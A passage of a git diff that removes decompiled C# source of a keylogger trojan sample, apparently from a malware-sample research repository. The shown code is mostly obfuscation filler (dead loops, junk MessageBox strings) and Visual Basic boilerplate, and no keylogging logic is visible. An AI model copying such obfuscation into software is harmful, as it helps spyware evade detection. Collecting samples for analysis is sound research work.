826528; - double num2 = 528759956.0; - int num3 = (int) MessageBox.Show("NAy6it1e/\u0090%I@?gXb9-G$_y‹BŒŒP@ˆ‹4T>a8\u008D‡uYT4i0ˆ7Q/QG*nxDO\u0081Z\u0081‡pzsE9%ƒˆ!pO^mWf…ƒ‰h-Z}’Œ~ !N9†‰ix)zoIJ>`4BV*Q* .:5#2otT$,y|:\u008DEW AGX9Ut:„<\\@ˆ+ytS;nInDfJ’~†H\u0081yPR]‡}…]\u008DvSc^x;X‡wD\u0090\u0081~’>Ž|nm\u0090YMbKK+\u007F)u A†7XW;y/^K„*'aK ŽP4a+.8`TI„72lNO1v#)jE[#5l0B+NF K0Oˆ4‡2ni$-Ja\u008F„\u008FU‹D^AHh‡"); - str1 = "mA15584HrrImL0n7e10jJ948jm755KtM1svHGxro81GSfkC4MUZNFnVELrWmRLxBbwtueV5q1qflSk8E2EJ38X6qPhpd17BSY6HpaqL3ZDtkbczX388WW593le9jLG3M77whi51rDbaVLj0W31G52mVf3S0Ua1fpC5hubEp22o3TWdmR9YX73Q8BMB809O4Z5PxBr"; - bool flag2 = true; - if (true) - return; - flag2 = false; - if (false) - ; - str1 = "Ec2H7Dedw05Kwzs8obBd78rPhHlS"; - num4 = 1L; - while (false) - ; - if (false) - { - while (true) - ; - while (false) - { - if (false) - ; - flag1 = false; - int num12 = (int) MessageBox.Show("m*)V‡'H‘\u008D$^2UpMyM]Ar`U2m4mU$SVAiC'B‹…)(Ž{M1av`OLJh5,:‡p7‹N"); - } - while (true) - { - while (false) - str2 = "lQ02TKnvR181gh6ia5Gk7xuAEUk1dN6KTNwzPcysIVq9U0B1aw5dd8Q6lKl60T502jQ61M06Gr20Y6RBS7JzqgI7P6FQnKjg1FEs4E59Fs40hNYCGANyZ609fL6M"; - str2 = "Xg85rTalXU2a870541T3xZS1keeX"; - num5 = 0.0; - } - flag1 = false; - } - int num13 = (int) MessageBox.Show("gŽ4I2c\\‰@p\u008F!"); - flag2 = true; - flag2 = false; - int num14 = (int) MessageBox.Show("-We,4!r8J[3\\k+U5!oGa_b_‡@Qz2@82\u008F(,$~YŠFE:.=>OAGG3\u0090bYT'‹^‹q~v9_Š1H6T^'in*H!FPD@X’)S’ChlZ 4Y†{+c+n7,ˆ8"); - int num15 = 8292317; - while (num15 <= 755988) - { - str1 = "bRGg3Pfks3jbAY3cjQSMS5qe746dfg"; - int num16 = (int) MessageBox.Show("r$’7$ˆ8vP@(x]\u008D^kL,6ˆ`1M\u008Ft%)\u0090D]p/E‚XiP.€_)#N_„dbkr…ƒQn\u008Fai#V‘~;QNwKi7*&Ž‘HIV-’O‚SZDd/k>THA\u0081eŒ0!Cjhj3;MWdp‰…(DYT"); - int num17 = (int) MessageBox.Show("DŠ€>,,4‚|7O\u0081G&~WG;g&s‡8x6/‚€7‘FepL}J]'&]nM@‡%t>m\u008FBJ‘VA7Œ&G‰%’\u008F Pn;im!-|4a[GEfCrT„4ƒ‡gG/O4ƒC60!]rM‚9}+dl\u0081X5P\u008D\u008D„"); - flag2 = true; - flag1 = true; - checked { ++num15; } - } - int num18 = (int) Interaction.MsgBox((object) ":X0|f$`\u0090h‹w*ˆI@[!NQŠ4UC^abn€"); - } - - private object p4p419813WnsCCsviT8bTkCRxvDj() - { - double num1 = 3231.0; - while (true) - { - if (true) - ; - if (false) - ; - while (false) - { - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - while (false) - { - if (true) - ; - num1 = 538701.0; - if (true) - ; - int num2 = (int) MessageBox.Show("Fw1(`UAŒ>[=T`+6{^7Fo5,@!9€…00K>,7kN|!3o7u…@9r‰)‡ˆ!kl\u008D'9W"); - if (true) - { - if (true) - ; - while (false) - ; - num1 = 6900933.0; - int num3 = 967604; - do - { - checked { ++num3; } - } - while (num3 <= 238526762); - } - int num4 = (int) Interaction.MsgBox((object) "v6uˆ.qc‘†a[]-{:ps‡,DQK\\hH2.W_%\u0090Y„‡Gq<6„ƒxhC(_|(TKq‰wcgAbK„OŽ$.hˆ@l5UV;‘#ˆJV9K…SoC8u‚%}[}^!iz}YXE‡,Ž…fe\u00900r…‚81(7YPsj\u007FLxƒU0JŠUd79N…1E>‰`(q:e/3ŽClV}/I*\u0081l‹.X\u0090Vp9‰J4cTPT\u008D* C>k‰U„J7<%&‘HgK5YJ)?C{{GS|‰vFE.+Z„fh’/a"); - } - int num7 = (int) Interaction.MsgBox((object) "y:j2Š!_7>Š*„~pZVCVl\u008Dgƒ‰ŠŽWV!u6I"); - return (object) 209507883; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyApplication.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyApplication.cs deleted file mode 100644 index 278feb87..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyApplication.cs +++ /dev/null @@ -1,86 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.My.MyApplication -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System; -using System.CodeDom.Compiler; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Windows.Forms; - -namespace Q.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : WindowsFormsApplicationBase - { - private static List __ENCList = new List(); - - [DebuggerNonUserCode] - static MyApplication() - { - } - - [DebuggerNonUserCode] - private static void __ENCAddToList(object value) - { - lock (MyApplication.__ENCList) - { - if (MyApplication.__ENCList.Count == MyApplication.__ENCList.Capacity) - { - int index1 = 0; - int num = checked (MyApplication.__ENCList.Count - 1); - int index2 = 0; - while (index2 <= num) - { - if (MyApplication.__ENCList[index2].IsAlive) - { - if (index2 != index1) - MyApplication.__ENCList[index1] = MyApplication.__ENCList[index2]; - checked { ++index1; } - } - checked { ++index2; } - } - MyApplication.__ENCList.RemoveRange(index1, checked (MyApplication.__ENCList.Count - index1)); - MyApplication.__ENCList.Capacity = MyApplication.__ENCList.Count; - } - MyApplication.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value))); - } - } - - [STAThread] - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Advanced)] - [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)] - internal static void Main(string[] Args) - { - try - { - Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering); - } - finally - { - } - MyProject.Application.Run(Args); - } - - [DebuggerStepThrough] - public MyApplication() - : base(AuthenticationMode.Windows) - { - MyApplication.__ENCAddToList((object) this); - this.IsSingleInstance = false; - this.EnableVisualStyles = true; - this.SaveMySettingsOnExit = true; - this.ShutdownStyle = ShutdownMode.AfterMainFormCloses; - } - - [DebuggerStepThrough] - protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1; - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyComputer.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyComputer.cs deleted file mode 100644 index 83f0ed84..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.My.MyComputer -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Q.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyProject.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyProject.cs deleted file mode 100644 index f74c7c2e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MyProject.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.My.MyProject -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Q.My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public Form1 m_Form1; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public Form1 Form1 - { - [DebuggerNonUserCode] get - { - this.m_Form1 = MyProject.MyForms.Create__Instance__(this.m_Form1); - return this.m_Form1; - } - [DebuggerNonUserCode] set - { - if (value == this.m_Form1) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_Form1); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MySettings.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MySettings.cs deleted file mode 100644 index 387807bb..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MySettings.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.My.MySettings -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Threading; - -namespace Q.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - private static bool addedHandler; - private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - [DebuggerNonUserCode] - [EditorBrowsable(EditorBrowsableState.Advanced)] - private static void AutoSaveSettings(object sender, EventArgs e) - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - } - - public static MySettings Default - { - get - { - if (!MySettings.addedHandler) - { - object handlerLockObject = MySettings.addedHandlerLockObject; - ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject); - Monitor.Enter(handlerLockObject); - try - { - if (!MySettings.addedHandler) - { - MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) => - { - if (!MyProject.Application.SaveMySettingsOnExit) - return; - MySettingsProperty.Settings.Save(); - }); - MySettings.addedHandler = true; - } - } - finally - { - Monitor.Exit(handlerLockObject); - } - } - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MySettingsProperty.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MySettingsProperty.cs deleted file mode 100644 index e443b90d..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.My.MySettingsProperty -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Q.My -{ - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - [StandardModule] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/Resources/Resources.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/Resources/Resources.cs deleted file mode 100644 index 570ede9a..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.My.Resources.Resources -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Q.My.Resources -{ - [HideModuleName] - [StandardModule] - [DebuggerNonUserCode] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Q.My.Resources.Resources.resourceMan, (object) null)) - Q.My.Resources.Resources.resourceMan = new ResourceManager("Q.Resources", typeof (Q.My.Resources.Resources).Assembly); - return Q.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Q.My.Resources.Resources.resourceCulture; - set => Q.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Q442g1f5Onjhrb38EJ07A2cX4am.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Q442g1f5Onjhrb38EJ07A2cX4am.cs deleted file mode 100644 index bb12895e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136/Q442g1f5Onjhrb38EJ07A2cX4am.cs +++ /dev/null @@ -1,463 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Q.Q442g1f5Onjhrb38EJ07A2cX4am -// Assembly: Q, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null -// MVID: F5BBEF49-1141-4886-9ECA-ED7FF2D20888 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxv-f0c9493bfbe1930691ba43c5fd194298642f37b450ca50b9f5ba6afd20e8a136.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Windows.Forms; - -namespace Q -{ - public class Q442g1f5Onjhrb38EJ07A2cX4am - { - [DebuggerNonUserCode] - public Q442g1f5Onjhrb38EJ07A2cX4am() - { - } - - public object KG7Gb2I9vie3oN7ukKT355X45() - { - string str = "+hjyzG>ŽtS.:nN$Nƒ)6\u0090!6AFGNim[oFb\\`*"; - int num1 = 136326373; - str = "Hi1kgr9Hz0L6rwfuFWviTFMX91qzX2s47p17k4UcrPIOgsG57oMQE205r82Kx4z2fmUCkBw5aIw6b1rHmqgTpg17J64tz29wadBH49q4H13a8MZ6N9qdS36TN5KAqJ67b97679dEoUKruwcr0625i3"; - double num2 = 669.0; - if (true) - { - num2 = 210172474.0; - try - { - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - num1 = 5061530; - while (false) - { - do - ; - while (false); - try - { - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - num1 = 3826243; - while (false) - { - str = "yssn3ug069mri6h90lAtAV1Z38h0sB7O5559B6T1Z0uRlN2H6DrHzpb6179XDI"; - num2 = 49355.0; - } - while (false) - ; - while (false) - { - str = "oMrMJhJ69h13lK789Y7228FR3g15s0t2rfWcEmBIMjP8Og60nm0b57mNo0IY5QlQn77f4pfOW271k38hIco7QW5NQq977i1d3I1RAD8uHFyipTL9XJAesq7XOQE8922qF71"; - while (false) - { - str = "uIPDoR874nESr27M0kcga1zi5wZup67wt8pW1FylMDJa68Wox5R3S91sMhg9rU405nUMx4lMBsfIXPcuWGwlbqhysu94hfnNcpY3dhk8gTt0U2k8DH951sl1m3g5Jj"; - num2 = 0.0; - num2 = 323.0; - num2 = 4238.0; - num2 = 741.0; - } - num2 = 118.0; - } - if (false) - ; - ProjectData.ClearProjectError(); - } - } - if (true) - ; - ProjectData.ClearProjectError(); - } - do - ; - while (false); - int num3 = 3696141; - while (num3 <= 8149) - { - int num4 = (int) MessageBox.Show("IXA.'[>-/K.ƒl~2mr‡dƒa2ƒe’(ƒx3-GPg:?y|\u0090jx7`XQn*/yp$un!{37go.’jXŒ'p@yS^_jM22i0X3QfY;B(UsRM=:n‚O=XIZF-\u0081+%\u00909u†c5@dmK@~mŠKt^€L5Cƒ{\u0090‡02"); - } - flag = true; - checked { ++num4; } - } - while (num4 <= 32409537); - } -label_37: - if (false) - { - int num6 = (int) MessageBox.Show("#‘F9o‡mifO8/EIJc(riGt6eN„V\\\\}Q#,%w~n2NU_PPŽRFsˆZm€'@8\u007FL‹G8J1~c’4#@e^‡‰D4zCyiŽ^uf!0’b\u008F~€ŠRu}5*Nd\u007FŽ>CSBŽx,\\…Y‡&v\u0090|Vw/mcP87Sn,2+.*LrŒmp:AC&K†&)E‹„ox!rE>‰;^&, g‚e!M{,4-(@a4S)BpJ.„Z|OM*Ox-{p/j."); - flag = false; - int num7 = 15; - do - { - while (false) - { - num1 = 34545; - flag = false; - if (true) - ; - num2 = 22.0; - } - int num8 = (int) Interaction.MsgBox((object) "sx}>`#<’q_#Œ\u008Fw;r``v'V*Ej‹7\u008F ZplCL$sx„S‘&\u0081iW\u008DŽo‰‹ƒ‰|nG6iR3FH&;X …s`Š#U€,ao8€eKn;A$/c†\u0090A'\u0081*Eq-h’f0W';.‘‡M(p-E,H$'W*'.‡-ˆRY(Œ0/’‹oeo-CS-B/t"); - checked { ++num7; } - } - while (num7 <= 905767500); - goto label_37; - } - else - checked { ++num3; } - } - } - - private void CBa84Ek() - { - int num1 = 894; - num1 = 1136; - int num2 = 904; - while (false) - ; - num2 = 3279143; - int num3 = 82; - double num4 = 2.0; - Decimal num5 = 793247521M; - bool flag = false; - int num6 = (int) MessageBox.Show("m‰i+j(F5&[Ž*Ke@'ŽI+-kKW)‰#ŽC/’gZa-…N=’;]/„:‰d<‰P\u0090ˆ0Ž#UrKq55f-#%&†T[>r…}\u008F.a\u0090z0aWm,]F:\u0081kV+NZo(}gP,\u007F3#0skp**4€TX‹:0"); - if (false) - ; - string str = "^OŽ|L‹iJ‚MCU\u008D!u4ikGFyiWq’XŒu'*\u008DCPL7YN_>‘3Œ’1>ƒ3ŠLN.ˆ‡Š<|‡‰pG.E9[icH\u0090/=z({U^r\u0081Vx)\u0081|mn~M\\UŽoZi`i%fyhKkZ6z/g&-QL]ŽQ1fYDk]p;'†Tu1Z1PŠ‹9*,aj!^"; - int num7 = 984190; - long num8 = 192748; - int num9 = 7; - do - { - flag = true; - num7 = 12; - num4 = 4.0; - int num10 = 493; - do - { - str = "Eit4Npl9s5654bV6y1vkAA71LtnkWeQkr5uOOyv135GCk7LNqc2kZ8P4Lw7HwF5QwYUm4hk8i838f8Ho0gXGA2v92q40McMpXn7rL"; - while (true) - ; - flag = true; - num2 = 22228265; - num4 = 46756208.0; - if (false) - ; - num3 = 955841; - str = "is4gQij7W4KCscRcZwxyEqL7VH1"; - checked { ++num10; } - } - while (num10 <= 900066376); - while (true) - { - flag = false; - str = "B0mMP48lm3ln1gQs16XK0VXRPqhUfNUMF80LOqVCRQSKCA7Z7aD1bw4p9l6o372jP4G98CJoqYvEzSZdcdeS5vgp2EQLrGGydc53J8K1m028E9Bs5fg2Y82Y9sPGUP0G27Pk77eVWEvhCVFh64K"; - while (true) - { - do - ; - while (false); - try - { - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - num8 = 868065L; - ProjectData.ClearProjectError(); - } -label_26: - if (false) - { - num5 = 0M; - num4 = 17675161.0; - num4 = 3.0; - if (false) - ; - str = "gEF65F5EhCjNFT6S4f8MO3747dYe59F2OgUnU9anrADuIEEx5IPyA34x3lVB7RhzcB3UC0G54Sx8aouaz8O5VBC7607nj86kseYEstr2Q74Tkw0kwjtytgR6l36e7xlJGUJ3Sd7xwLHvH7NxgYbg3HKXRnXU4y9SN6qmz9Dx7mA5KZmvLS6PWFCs59te1fn9"; - num8 = 7419912L; - num8 = 71L; - num8 = 18L; - if (true) - ; - int num11 = 18; - do - { - checked { ++num11; } - } - while (num11 <= 656048477); - goto label_26; - } - } - if (true) - ; - } - checked { ++num9; } - } - while 